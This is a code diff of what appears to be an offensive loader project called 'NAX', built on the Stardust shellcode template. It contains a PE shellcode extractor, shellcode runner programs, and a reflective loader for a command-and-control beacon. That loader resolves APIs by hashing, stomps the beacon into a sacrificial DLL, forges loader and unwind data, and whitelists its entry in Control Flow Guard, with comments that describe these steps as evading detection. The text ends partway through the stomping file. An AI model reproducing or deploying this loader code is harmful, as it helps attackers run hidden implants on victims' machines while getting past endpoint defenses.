#!/usr/bin/env python3
|
||||
# -*- coding:utf-8 -*-
|
||||
|
||||
import pefile
|
||||
import argparse
|
||||
|
||||
STARDUST_END : bytes = b'STARDUST-END'
|
||||
PAGE_SIZE : int = 0x1000
|
||||
|
||||
##
|
||||
## calculates the given size to pages
|
||||
##
|
||||
def size_to_pages( size: int ) -> int:
|
||||
PAGE_MASK : int = 0xfff
|
||||
BASE_PAGE_SHIFT : int = 12
|
||||
|
||||
return ( size >> BASE_PAGE_SHIFT ) + ( ( size & PAGE_MASK ) != 0 )
|
||||
|
||||
##
|
||||
## parse specified executable file and
|
||||
## save .text section shellcode into a file
|
||||
##
|
||||
def main() -> None:
|
||||
parser = argparse.ArgumentParser( description = 'Extracts shellcode from a PE.' )
|
||||
parser.add_argument( '-f', required = True, help = 'Path to the source executable', type = str )
|
||||
parser.add_argument( '-o', required = True, help = 'Path to store the output raw binary', type = str )
|
||||
option = parser.parse_args()
|
||||
|
||||
executable = pefile.PE( option.f )
|
||||
shellcode = bytearray( executable.sections[ 0 ].get_data() )
|
||||
shellcode = shellcode[ : shellcode.find( STARDUST_END ) ]
|
||||
size = len( shellcode )
|
||||
|
||||
##
|
||||
## calculate pages
|
||||
##
|
||||
pages = size_to_pages( size )
|
||||
padding = ( ( pages * PAGE_SIZE ) - size )
|
||||
|
||||
##
|
||||
## fill the padding to have a full page
|
||||
##
|
||||
for i in range( padding ):
|
||||
shellcode.append( 0 )
|
||||
|
||||
##
|
||||
## get size of shellcode
|
||||
##
|
||||
size = len( shellcode )
|
||||
|
||||
##
|
||||
## print metadata
|
||||
##
|
||||
print( f"[*] payload len : { size - padding } bytes" )
|
||||
print( f"[*] size : { size } bytes" )
|
||||
print( f"[*] padding : { padding } bytes" )
|
||||
print( f"[*] page count : { size / PAGE_SIZE } pages" )
|
||||
|
||||
##
|
||||
## open shellcode file
|
||||
##
|
||||
file = open( option.o, 'wb+' )
|
||||
|
||||
##
|
||||
## write shellcode to file
|
||||
##
|
||||
file.write( shellcode )
|
||||
file.close()
|
||||
|
||||
return
|
||||
|
||||
if __name__ in '__main__':
|
||||
main()
|
||||
@@ -0,0 +1,61 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
LPVOID LoadFileIntoMemory( LPSTR Path, PDWORD MemorySize ) {
|
||||
PVOID ImageBuffer = NULL;
|
||||
DWORD dwBytesRead = 0;
|
||||
HANDLE hFile = NULL;
|
||||
|
||||
hFile = CreateFileA( Path, GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0 );
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
printf( "Error opening %s\r\n", Path );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if ( MemorySize )
|
||||
*MemorySize = GetFileSize( hFile, 0 );
|
||||
ImageBuffer = ( PBYTE ) LocalAlloc( LPTR, *MemorySize );
|
||||
|
||||
ReadFile( hFile, ImageBuffer, *MemorySize, &dwBytesRead, 0 );
|
||||
CloseHandle( hFile );
|
||||
|
||||
return ImageBuffer;
|
||||
}
|
||||
|
||||
typedef void ( * ShellcodeMain )();
|
||||
|
||||
int main( int argc, char** argv )
|
||||
{
|
||||
PVOID ShellcodeBytes = NULL;
|
||||
DWORD ShellcodeSize = 0;
|
||||
DWORD OldProtection = 0;
|
||||
|
||||
LPVOID ShellcodeMemory = NULL;
|
||||
|
||||
if ( argc < 2 )
|
||||
{
|
||||
printf( "[-] %s <shellcode path>\n", argv[ 0 ] );
|
||||
return 0;
|
||||
}
|
||||
|
||||
ShellcodeBytes = LoadFileIntoMemory( argv[ 1 ], &ShellcodeSize );
|
||||
ShellcodeMemory = VirtualAlloc( NULL, ShellcodeSize, MEM_COMMIT, PAGE_READWRITE );
|
||||
|
||||
if ( ! ShellcodeMemory )
|
||||
{
|
||||
printf("[-] Failed to allocate Virtual Memory\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf( "[*] Address => %p\n", ShellcodeMemory );
|
||||
|
||||
memcpy( ShellcodeMemory, ShellcodeBytes, ShellcodeSize );
|
||||
|
||||
VirtualProtect( ShellcodeMemory, ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection );
|
||||
|
||||
puts("[+] Execute shellcode... press enter");
|
||||
getchar();
|
||||
|
||||
((ShellcodeMain)ShellcodeMemory)();
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,65 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* ========= [ NaX dev launcher ] =========
|
||||
*
|
||||
* Loads nax.bin into RWX memory and transfers execution to the loader.
|
||||
* The loader itself parses NaxHeader v2 and decides whether to module-stomp
|
||||
* or VirtualAlloc based on the embedded flags - stomper does NOT need to
|
||||
* know which mode is active.
|
||||
*
|
||||
* Usage: stomper.exe path\to\nax.x64.bin
|
||||
*/
|
||||
|
||||
int main( int argc, char** argv ) {
|
||||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||
PVOID buf = NULL;
|
||||
DWORD sz = 0;
|
||||
DWORD rd = 0;
|
||||
DWORD old = 0;
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
if ( argc < 2 ) {
|
||||
puts( "usage: stomper.exe <nax.bin>" );
|
||||
return 1;
|
||||
}
|
||||
|
||||
hFile = CreateFileA( argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL );
|
||||
if ( hFile == INVALID_HANDLE_VALUE ) {
|
||||
printf( "[!] CreateFileA failed: %lu\n", GetLastError() );
|
||||
return 1;
|
||||
}
|
||||
|
||||
sz = GetFileSize( hFile, NULL );
|
||||
printf( "[*] loaded \"%s\" (%lu bytes)\n", argv[1], sz );
|
||||
|
||||
buf = VirtualAlloc( NULL, sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
|
||||
if ( !buf ) {
|
||||
printf( "[!] VirtualAlloc failed: %lu\n", GetLastError() );
|
||||
CloseHandle( hFile );
|
||||
return 1;
|
||||
}
|
||||
|
||||
ReadFile( hFile, buf, sz, &rd, NULL );
|
||||
CloseHandle( hFile );
|
||||
|
||||
if ( !VirtualProtect( buf, sz, PAGE_EXECUTE_READ, &old ) ) {
|
||||
printf( "[!] VirtualProtect failed: %lu\n", GetLastError() );
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf( "[*] shellcode @ %p RX\n", buf );
|
||||
printf( "[*] press enter to execute...\n" );
|
||||
getchar();
|
||||
|
||||
hThread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL );
|
||||
if ( !hThread ) {
|
||||
printf( "[!] CreateThread failed: %lu\n", GetLastError() );
|
||||
return 1;
|
||||
}
|
||||
|
||||
WaitForSingleObject( (HANDLE)-1, INFINITE );
|
||||
CloseHandle( hThread );
|
||||
|
||||
return 0;
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,44 @@
|
||||
#include <Common.h>
|
||||
|
||||
/* ========= [ Execution Transfer ] =========
|
||||
*
|
||||
* How the beacon gets its own thread after stomping/allocation.
|
||||
*
|
||||
* NAX_EXEC_THREADPOOL:
|
||||
* TpAllocWork + TpPostWork: beacon entry runs on a worker thread.
|
||||
*
|
||||
* NAX_EXEC_THREAD:
|
||||
* CreateThread: clean stack, start address = beacon entry. */
|
||||
|
||||
#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
|
||||
|
||||
FUNC VOID NaxExecThreadPool( PVOID Entry ) {
|
||||
STARDUST_INSTANCE
|
||||
|
||||
PTP_WORK Work = NULL;
|
||||
if ( !NT_SUCCESS( API( TpAllocWork )( &Work, (PTP_WORK_CALLBACK)Entry, NULL, NULL ) ) )
|
||||
goto fallback;
|
||||
if ( !Work )
|
||||
goto fallback;
|
||||
|
||||
API( TpPostWork )( Work );
|
||||
API( TpReleaseWork )( Work );
|
||||
return;
|
||||
|
||||
fallback:
|
||||
( (VOID (*)( VOID ))Entry )();
|
||||
}
|
||||
|
||||
#elif NAX_EXEC_MODE == NAX_EXEC_THREAD
|
||||
|
||||
FUNC VOID NaxExecThread( PVOID Entry ) {
|
||||
STARDUST_INSTANCE
|
||||
|
||||
HANDLE hThread = API( CreateThread )( NULL, 0, (LPTHREAD_START_ROUTINE)Entry, NULL, 0, NULL );
|
||||
if ( hThread )
|
||||
return;
|
||||
|
||||
( (VOID (*)( VOID ))Entry )();
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,178 @@
|
||||
#include <Common.h>
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* resolve module from peb
|
||||
*
|
||||
* @param Buffer
|
||||
* Buffer: either string or hash
|
||||
*
|
||||
* @param Hashed
|
||||
* is the Buffer a hash value
|
||||
*
|
||||
* @return
|
||||
* module base pointer
|
||||
*/
|
||||
FUNC PVOID LdrModulePeb(
|
||||
_In_ ULONG Hash
|
||||
) {
|
||||
PLDR_DATA_TABLE_ENTRY Data = { 0 };
|
||||
PLIST_ENTRY Head = { 0 };
|
||||
PLIST_ENTRY Entry = { 0 };
|
||||
|
||||
Head = & NtCurrentPeb()->Ldr->InLoadOrderModuleList;
|
||||
Entry = Head->Flink;
|
||||
|
||||
for ( ; Head != Entry ; Entry = Entry->Flink ) {
|
||||
Data = C_PTR( Entry );
|
||||
|
||||
if ( HashString( Data->BaseDllName.Buffer, Data->BaseDllName.Length ) == Hash ) {
|
||||
return Data->DllBase;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief
|
||||
* retrieve image header
|
||||
*
|
||||
* @param Image
|
||||
* image base pointer to retrieve header from
|
||||
*
|
||||
* @return
|
||||
* pointer to Nt Header
|
||||
*/
|
||||
FUNC PIMAGE_NT_HEADERS LdrpImageHeader(
|
||||
_In_ PVOID Image
|
||||
) {
|
||||
PIMAGE_DOS_HEADER DosHeader = { 0 };
|
||||
PIMAGE_NT_HEADERS NtHeader = { 0 };
|
||||
|
||||
DosHeader = C_PTR( Image );
|
||||
|
||||
if ( DosHeader->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
NtHeader = C_PTR( U_PTR( Image ) + DosHeader->e_lfanew );
|
||||
|
||||
if ( NtHeader->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return NtHeader;
|
||||
}
|
||||
|
||||
/* ========= [ forwarded export resolution ] =========
|
||||
*
|
||||
* Forwarding strings have the form "ModuleName.FunctionName"
|
||||
* (e.g. "KERNELBASE.VirtualAlloc"). We append ".dll", hash the result
|
||||
* for PEB lookup, then recurse into LdrFunction on the target module.
|
||||
*
|
||||
* Ordinal forwarding ("ModuleName.#N") returns NULL - not implemented. */
|
||||
FUNC PVOID LdrpFwdResolve( _In_ PCHAR FwdStr ) {
|
||||
WCHAR DllNameW[ 64 ] = { 0 };
|
||||
PCHAR DotPtr = { 0 };
|
||||
PCHAR FuncName = { 0 };
|
||||
PVOID FwdMod = { 0 };
|
||||
INT PfxLen = { 0 };
|
||||
INT i = { 0 };
|
||||
|
||||
/* find the '.' separating module prefix from function name */
|
||||
DotPtr = FwdStr;
|
||||
while ( *DotPtr && *DotPtr != '.' ) DotPtr++;
|
||||
if ( ! *DotPtr ) return NULL;
|
||||
|
||||
FuncName = DotPtr + 1;
|
||||
PfxLen = (INT)( DotPtr - FwdStr );
|
||||
if ( PfxLen <= 0 || PfxLen > 59 ) return NULL;
|
||||
|
||||
/* ordinal forwarding ("Module.#N") - not implemented */
|
||||
if ( *FuncName == '#' ) return NULL;
|
||||
|
||||
for ( i = 0; i < PfxLen; i++ ) DllNameW[ i ] = (WCHAR)FwdStr[ i ];
|
||||
|
||||
/* ".dll" as packed UTF-16LE - avoids 4x mov-word-immediate pattern */
|
||||
*(UINT64 *)( &DllNameW[ PfxLen ] ) = 0x006C006C0064002Eull;
|
||||
DllNameW[ PfxLen + 4 ] = L'\0';
|
||||
|
||||
/* locate target module in PEB then recurse */
|
||||
if ( ! ( FwdMod = LdrModulePeb( HashString( DllNameW, ( PfxLen + 4 ) * 2 ) ) ) ) return NULL;
|
||||
|
||||
return LdrFunction( FwdMod, HashString( FuncName, 0 ) );
|
||||
}
|
||||
|
||||
FUNC PVOID LdrFunction(
|
||||
_In_ PVOID Library,
|
||||
_In_ ULONG Function
|
||||
) {
|
||||
PVOID Address = { 0 };
|
||||
PIMAGE_NT_HEADERS NtHeader = { 0 };
|
||||
PIMAGE_EXPORT_DIRECTORY ExpDir = { 0 };
|
||||
SIZE_T ExpDirSize = { 0 };
|
||||
PDWORD AddrNames = { 0 };
|
||||
PDWORD AddrFuncs = { 0 };
|
||||
PWORD AddrOrdns = { 0 };
|
||||
PCHAR FuncName = { 0 };
|
||||
|
||||
//
|
||||
// sanity check arguments
|
||||
//
|
||||
if ( ! Library || ! Function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//
|
||||
// retrieve header of library
|
||||
//
|
||||
if ( ! ( NtHeader = LdrpImageHeader( Library ) ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//
|
||||
// parse the header export address table
|
||||
//
|
||||
ExpDir = C_PTR( Library + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
|
||||
ExpDirSize = NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size;
|
||||
AddrNames = C_PTR( Library + ExpDir->AddressOfNames );
|
||||
AddrFuncs = C_PTR( Library + ExpDir->AddressOfFunctions );
|
||||
AddrOrdns = C_PTR( Library + ExpDir->AddressOfNameOrdinals );
|
||||
|
||||
//
|
||||
// iterate over export address table director
|
||||
//
|
||||
for ( DWORD i = 0; i < ExpDir->NumberOfNames; i++ ) {
|
||||
//
|
||||
// retrieve function name
|
||||
//
|
||||
FuncName = C_PTR( U_PTR( Library ) + AddrNames[ i ] );
|
||||
|
||||
//
|
||||
// hash function name from Iat and
|
||||
// check the function name is what we are searching for.
|
||||
// if not found keep searching.
|
||||
//
|
||||
if ( HashString( FuncName, 0 ) != Function ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
//
|
||||
// resolve function pointer
|
||||
//
|
||||
Address = C_PTR( U_PTR( Library ) + AddrFuncs[ AddrOrdns[ i ] ] );
|
||||
|
||||
/* check if this is a forwarded export (Address falls inside ExpDir) */
|
||||
if ( ( U_PTR( Address ) >= U_PTR( ExpDir ) ) &&
|
||||
( U_PTR( Address ) < U_PTR( ExpDir ) + ExpDirSize )
|
||||
) {
|
||||
/* forwarding string points to the target module - resolve it */
|
||||
Address = LdrpFwdResolve( ( PCHAR ) Address );
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
return Address;
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
#include <Common.h>
|
||||
#include <Constexpr.h>
|
||||
#include <Loader.h>
|
||||
|
||||
/* ========= [ NAX UDRL - entry + dispatch ] =========
|
||||
*
|
||||
* PreMain (Stardust pattern) has already:
|
||||
* 1. Calculated Base.Buffer = StRipStart() (loader base address)
|
||||
* 2. Calculated Base.Length = StRipEnd() - StRipStart() (loader size)
|
||||
* 3. Resolved ntdll!RtlAllocateHeap + kernel32 TLS APIs
|
||||
* 4. Stored INSTANCE in TLS (consecutive-slot egghunter)
|
||||
* 5. Zeroed out the StRipEnd code (anti-fingerprint)
|
||||
* 6. Transferred control here via Main()
|
||||
*
|
||||
* Technique selection is compile-time via preprocessor defines:
|
||||
*
|
||||
* NAX_STOMP_MODE:
|
||||
* NAX_STOMP_VIRTUAL (0) - NtAllocateVirtualMemory (private memory)
|
||||
* NAX_STOMP_MODULE (1) - Module stomp (image-backed, sacrificial DLL)
|
||||
*
|
||||
* NAX_EXEC_MODE:
|
||||
* NAX_EXEC_THREAD (0) - CreateThread (start addr = beacon)
|
||||
* NAX_EXEC_THREADPOOL (1) - TpAllocWork/TpPostWork (start addr = TppWorkerThread)
|
||||
*
|
||||
* Implementation split across files:
|
||||
* Pe.c - PE header parsing helpers
|
||||
* Stomp.c - Module stomping + LDR patching + unwind stomping
|
||||
* Exec.c - Thread pool / CreateThread execution transfer
|
||||
* Main.c - This file: resolve APIs, parse header, dispatch */
|
||||
|
||||
/* ========= [ VirtualAlloc fallback path ] ========= */
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
|
||||
|
||||
FUNC PVOID NaxAllocExec(
|
||||
_In_ PVOID BeaconSrc,
|
||||
_In_ ULONG BeaconSize ) {
|
||||
STARDUST_INSTANCE
|
||||
|
||||
PVOID exec_buf = NULL;
|
||||
SIZE_T copy_size = ALIGN_UP( BeaconSize, LDR_PAGE_SIZE );
|
||||
ULONG old_prot = 0;
|
||||
|
||||
if ( !NT_SUCCESS( API( NtAllocateVirtualMemory )( NtCurrentProcess(), &exec_buf, 0, ©_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) ) )
|
||||
return NULL;
|
||||
if ( !exec_buf )
|
||||
return NULL;
|
||||
|
||||
MmCopy( exec_buf, BeaconSrc, BeaconSize );
|
||||
|
||||
if ( !API( VirtualProtect )( exec_buf, copy_size, PAGE_EXECUTE_READ, &old_prot ) )
|
||||
return NULL;
|
||||
|
||||
return exec_buf;
|
||||
}
|
||||
|
||||
#endif /* NAX_STOMP_VIRTUAL */
|
||||
|
||||
/* ========= [ entry - resolve APIs, parse header, dispatch ] ========= */
|
||||
|
||||
FUNC VOID Main(
|
||||
_In_ PVOID Param ) {
|
||||
STARDUST_INSTANCE
|
||||
|
||||
PVOID hdr = { 0 };
|
||||
PVOID beacon_src = { 0 };
|
||||
PVOID entry = { 0 };
|
||||
|
||||
/* ========= [ resolve modules ] ========= */
|
||||
if ( !( MOD( Kernel32 ) = LdrModulePeb( H_MODULE_KERNEL32 ) ) )
|
||||
return;
|
||||
if ( !( MOD( Ntdll ) = LdrModulePeb( H_MODULE_NTDLL ) ) )
|
||||
return;
|
||||
|
||||
/* ========= [ resolve APIs ] ========= */
|
||||
|
||||
if ( !RESOLVE( NtProtectVirtualMemory, Ntdll ) ) return;
|
||||
if ( !RESOLVE( VirtualProtect, Kernel32 ) ) return;
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
|
||||
if ( !RESOLVE( NtAllocateVirtualMemory, Ntdll ) ) return;
|
||||
#elif NAX_STOMP_MODE == NAX_STOMP_MODULE
|
||||
if ( !RESOLVE( LoadLibraryExW, Kernel32 ) ) return;
|
||||
|
||||
RESOLVE( GetProcessMitigationPolicy, Kernel32 );
|
||||
MOD( Kernelbase ) = LdrModulePeb( HASH_STR( "KERNELBASE.DLL" ) );
|
||||
if ( MOD( Kernelbase ) )
|
||||
API( SetProcessValidCallTargets ) = (__typeof__( API( SetProcessValidCallTargets ) ))LdrFunction( MOD( Kernelbase ), HASH_STR( "SetProcessValidCallTargets" ) );
|
||||
#endif
|
||||
|
||||
#if NAX_EXEC_MODE == NAX_EXEC_THREAD
|
||||
if ( !RESOLVE( CreateThread, Kernel32 ) ) return;
|
||||
#elif NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
|
||||
if ( !RESOLVE( TpAllocWork, Ntdll ) ) return;
|
||||
if ( !RESOLVE( TpPostWork, Ntdll ) ) return;
|
||||
if ( !RESOLVE( TpReleaseWork, Ntdll ) ) return;
|
||||
#endif
|
||||
|
||||
/* ========= [ parse NaxHeader ] ========= */
|
||||
hdr = LOADER_END();
|
||||
|
||||
ULONG magic = HDR_U32( hdr, NAX_HDR_OFF_MAGIC );
|
||||
ULONG beacon_size = HDR_U32( hdr, NAX_HDR_OFF_BEACON_SZ );
|
||||
|
||||
/* v1 fallback: if magic doesn't match v2, treat as legacy 4-byte header */
|
||||
if ( magic != NAX_HDR_MAGIC ) {
|
||||
beacon_size = magic;
|
||||
beacon_src = C_PTR( U_PTR( hdr ) + 4 );
|
||||
|
||||
if ( !beacon_size || beacon_size > 256 * 1024 )
|
||||
return;
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
|
||||
entry = NaxAllocExec( beacon_src, beacon_size );
|
||||
#else
|
||||
entry = beacon_src;
|
||||
#endif
|
||||
if ( !entry )
|
||||
return;
|
||||
|
||||
( (VOID (*)( VOID ))entry )();
|
||||
return;
|
||||
}
|
||||
|
||||
/* ========= [ validate header ] ========= */
|
||||
if ( !beacon_size || beacon_size > 512 * 1024 )
|
||||
return;
|
||||
|
||||
/* ========= [ locate beacon blobs + stomp ] ========= */
|
||||
beacon_src = C_PTR( U_PTR( hdr ) + NAX_HDR_SIZE );
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
|
||||
ULONG pdata_size = HDR_U32( hdr, NAX_HDR_OFF_PDATA_SZ );
|
||||
ULONG xdata_size = HDR_U32( hdr, NAX_HDR_OFF_XDATA_SZ );
|
||||
ULONG text_rva = HDR_U32( hdr, NAX_HDR_OFF_TEXT_RVA );
|
||||
PWCHAR dll_name = HDR_WSTR( hdr, NAX_HDR_OFF_DLL_NAME );
|
||||
PVOID pdata_src = C_PTR( U_PTR( beacon_src ) + beacon_size );
|
||||
PVOID xdata_src = C_PTR( U_PTR( pdata_src ) + pdata_size );
|
||||
|
||||
entry = NaxModuleStomp( hdr, beacon_src, beacon_size, pdata_src, pdata_size, xdata_src, xdata_size, text_rva, dll_name );
|
||||
#elif NAX_STOMP_MODE == NAX_STOMP_VIRTUAL
|
||||
entry = NaxAllocExec( beacon_src, beacon_size );
|
||||
#endif
|
||||
|
||||
if ( !entry )
|
||||
return;
|
||||
|
||||
/* ========= [ CFG: whitelist beacon entry in stomped DLL ] ========= */
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
|
||||
if ( API( GetProcessMitigationPolicy ) && API( SetProcessValidCallTargets ) && Instance()->StompDllBase ) {
|
||||
BYTE policy[4];
|
||||
MmZero( policy, 4 );
|
||||
if ( API( GetProcessMitigationPolicy )( (HANDLE)-1, LDR_PROCESS_CFG_GUARD_POLICY, policy, 4 ) && ( policy[0] & 1 ) ) {
|
||||
PIMAGE_NT_HEADERS cfgNt = NaxPeHeaders( Instance()->StompDllBase );
|
||||
if ( cfgNt ) {
|
||||
SIZE_T cfgLen = ALIGN_UP( cfgNt->OptionalHeader.SizeOfImage, LDR_PAGE_SIZE );
|
||||
struct { ULONG_PTR Offset; ULONG_PTR Flags; } cfg = { U_PTR( entry ) - U_PTR( Instance()->StompDllBase ), LDR_CFG_CALL_TARGET_VALID };
|
||||
API( SetProcessValidCallTargets )( (HANDLE)-1, Instance()->StompDllBase, cfgLen, 1, &cfg );
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ========= [ transfer execution to beacon ] ========= */
|
||||
#if NAX_EXEC_MODE == NAX_EXEC_THREADPOOL
|
||||
NaxExecThreadPool( entry );
|
||||
#elif NAX_EXEC_MODE == NAX_EXEC_THREAD
|
||||
NaxExecThread( entry );
|
||||
#endif
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
#include <Common.h>
|
||||
|
||||
/* ========= [ PE header helpers ] =========
|
||||
*
|
||||
* Shared utilities for parsing PE structures. Used by both the
|
||||
* module stomp path and the main dispatch logic. */
|
||||
|
||||
FUNC PIMAGE_NT_HEADERS NaxPeHeaders( PVOID Base ) {
|
||||
PIMAGE_DOS_HEADER Dos = (PIMAGE_DOS_HEADER)Base;
|
||||
if ( Dos->e_magic != IMAGE_DOS_SIGNATURE )
|
||||
return NULL;
|
||||
PIMAGE_NT_HEADERS Nt = (PIMAGE_NT_HEADERS)( U_PTR( Base ) + Dos->e_lfanew );
|
||||
if ( Nt->Signature != IMAGE_NT_SIGNATURE )
|
||||
return NULL;
|
||||
return Nt;
|
||||
}
|
||||
|
||||
FUNC PIMAGE_SECTION_HEADER NaxFindSection( PIMAGE_NT_HEADERS Nt, ULONG Characteristics ) {
|
||||
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION( Nt );
|
||||
for ( ULONG i = 0; i < Nt->FileHeader.NumberOfSections; i++ ) {
|
||||
if ( ( Sec[i].Characteristics & Characteristics ) == Characteristics )
|
||||
return &Sec[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
FUNC PIMAGE_SECTION_HEADER NaxFindSectionByDir( PIMAGE_NT_HEADERS Nt, ULONG DirIndex ) {
|
||||
if ( DirIndex >= Nt->OptionalHeader.NumberOfRvaAndSizes )
|
||||
return NULL;
|
||||
ULONG DirRva = Nt->OptionalHeader.DataDirectory[DirIndex].VirtualAddress;
|
||||
if ( !DirRva )
|
||||
return NULL;
|
||||
PIMAGE_SECTION_HEADER Sec = IMAGE_FIRST_SECTION( Nt );
|
||||
for ( ULONG i = 0; i < Nt->FileHeader.NumberOfSections; i++ ) {
|
||||
if ( DirRva >= Sec[i].VirtualAddress &&
|
||||
DirRva < Sec[i].VirtualAddress + Sec[i].SizeOfRawData )
|
||||
return &Sec[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
#include <Common.h>
|
||||
#include <Constexpr.h>
|
||||
|
||||
#define TLS_SEARCH_LIMIT 20
|
||||
|
||||
EXTERN_C FUNC VOID PreMain(
|
||||
PVOID Param
|
||||
) {
|
||||
INSTANCE Stardust = { 0 };
|
||||
PVOID Heap = { 0 };
|
||||
PVOID Inst = { 0 };
|
||||
|
||||
MmZero( & Stardust, sizeof( Stardust ) );
|
||||
|
||||
Heap = NtCurrentPeb()->ProcessHeap;
|
||||
|
||||
Stardust.Base.Buffer = StRipStart();
|
||||
Stardust.Base.Length = U_PTR( StRipEnd() ) - U_PTR( Stardust.Base.Buffer );
|
||||
|
||||
/* ========= [ resolve ntdll + kernel32 ] ========= */
|
||||
|
||||
if ( ! ( Stardust.Modules.Ntdll = LdrModulePeb( H_MODULE_NTDLL ) ) )
|
||||
return;
|
||||
if ( ! ( Stardust.Win32.RtlAllocateHeap = LdrFunction( Stardust.Modules.Ntdll, HASH_STR( "RtlAllocateHeap" ) ) ) )
|
||||
return;
|
||||
|
||||
if ( ! ( Stardust.Modules.Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 ) ) )
|
||||
return;
|
||||
if ( ! ( Stardust.Win32.TlsAlloc = LdrFunction( Stardust.Modules.Kernel32, HASH_STR( "TlsAlloc" ) ) ) ||
|
||||
! ( Stardust.Win32.TlsSetValue = LdrFunction( Stardust.Modules.Kernel32, HASH_STR( "TlsSetValue" ) ) ) ||
|
||||
! ( Stardust.Win32.TlsFree = LdrFunction( Stardust.Modules.Kernel32, HASH_STR( "TlsFree" ) ) )
|
||||
) {
|
||||
return;
|
||||
}
|
||||
|
||||
/* ========= [ find two consecutive TLS slots (egghunter storage) ] ========= */
|
||||
|
||||
DWORD slots[ TLS_SEARCH_LIMIT ] = { 0 };
|
||||
UINT32 slotCount = 0;
|
||||
DWORD eggSlot = TLS_OUT_OF_INDEXES;
|
||||
DWORD instSlot = TLS_OUT_OF_INDEXES;
|
||||
|
||||
for ( UINT32 i = 0; i < TLS_SEARCH_LIMIT; i++ ) {
|
||||
slots[ i ] = Stardust.Win32.TlsAlloc();
|
||||
if ( slots[ i ] == TLS_OUT_OF_INDEXES )
|
||||
break;
|
||||
slotCount++;
|
||||
|
||||
if ( i > 0 && slots[ i ] == slots[ i - 1 ] + 1 ) {
|
||||
eggSlot = slots[ i - 1 ];
|
||||
instSlot = slots[ i ];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if ( eggSlot == TLS_OUT_OF_INDEXES )
|
||||
return;
|
||||
|
||||
/* free non-consecutive slots we allocated during the search */
|
||||
for ( UINT32 i = 0; i < slotCount; i++ ) {
|
||||
if ( slots[ i ] != eggSlot && slots[ i ] != instSlot )
|
||||
Stardust.Win32.TlsFree( slots[ i ] );
|
||||
}
|
||||
|
||||
/* ========= [ allocate INSTANCE on heap, store via TLS ] ========= */
|
||||
|
||||
Inst = Stardust.Win32.RtlAllocateHeap( Heap, HEAP_ZERO_MEMORY, sizeof( INSTANCE ) );
|
||||
if ( ! Inst )
|
||||
return;
|
||||
|
||||
/* egg = NtCurrentPeb() address, instance pointer in next slot */
|
||||
Stardust.Win32.TlsSetValue( eggSlot, (LPVOID)NtCurrentPeb() );
|
||||
Stardust.Win32.TlsSetValue( instSlot, Inst );
|
||||
|
||||
MmCopy( Inst, & Stardust, sizeof( INSTANCE ) );
|
||||
MmZero( & Stardust, sizeof( INSTANCE ) );
|
||||
|
||||
Main( Param );
|
||||
}
|
||||
@@ -0,0 +1,150 @@
|
||||
#include <Common.h>
|
||||
#include <Loader.h>
|
||||
|
||||
/* ========= [ Module Stomping ] =========
|
||||
*
|
||||
* Loads a sacrificial DLL via LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES),
|
||||
* stomps the beacon into its .text section so execution happens from
|
||||
* image-backed memory (IMG type, not PRV).
|
||||
*
|
||||
* Additionally patches the LDR entry to look like a normally-loaded DLL
|
||||
* and stomps valid .pdata/.xdata for clean stack walks. */
|
||||
|
||||
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
|
||||
|
||||
/* ========= [ LDR entry fixup ] ========= */
|
||||
|
||||
#define LDRP_IMAGE_DLL 0x00000004
|
||||
#define LDRP_LOAD_NOTIFICATIONS_SENT 0x00000008
|
||||
#define LDRP_PROCESS_STATIC_IMPORT 0x00000020
|
||||
#define LDRP_ENTRY_PROCESSED 0x00004000
|
||||
|
||||
FUNC VOID NaxPatchLdr( PVOID DllBase ) {
|
||||
PPEB_LDR_DATA Ldr = NtCurrentPeb()->Ldr;
|
||||
